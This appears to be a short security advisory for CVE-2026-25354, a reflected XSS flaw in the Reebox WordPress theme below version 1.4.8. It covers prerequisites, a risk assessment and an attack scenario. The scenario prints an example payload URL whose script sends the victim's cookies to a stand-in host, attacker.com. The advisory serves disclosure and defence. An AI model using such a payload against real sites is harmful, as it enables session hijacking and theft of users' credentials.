Reebox CVE-2026-25354

Requires victim to click a malicious link containing crafted XSS payload targeting skygroup Reebox versions below 1.4.8. Remote unauthenticated attacker can craft the URL; victim interaction (clicking link) is required. No special configuration needed.

Although CVSS and EPSS scores are unavailable, reflected XSS vulnerabilities in WordPress themes typically present moderate to high real-world risk. The attack vector is network-based and requires user interaction (clicking a malicious link), which slightly elevates attack complexity but remains practical for phishing campaigns. The vulnerability affects a WordPress theme—a widely deployed component with extensive user base exposure. The absence of CVSS/EPSS data and unknown KEV/POC status prevent precise quantification, but the Patchstack disclosure and EUVD registration indicate active security research awareness. Real-world priority should be considered moderate-to-high: reflected XSS in themes can lead to session hijacking, credential theft, and malware distribution, though impact depends on theme privileges and user roles. The fact that a patch was released (version 1.4.8) confirms vendor acknowledgment and remediation.

An attacker crafts a malicious URL targeting a Reebox-powered WordPress site, embedding JavaScript in a query parameter that is reflected in the page output without sanitization—for example, 'https://vulnerable-site.com/?search=<script>fetch(https://attacker.com/steal?cookie='+document.cookie+')</script>'. The attacker sends this link via phishing email to site users or admins. When a victim clicks the link, the Reebox theme renders the page with the unsanitized JavaScript, which executes in the victim's browser, stealing their session cookies or redirecting them to a credential-harvesting page. No special privileges are required by the attacker; the attack relies purely on user interaction and the theme's failure to encode output.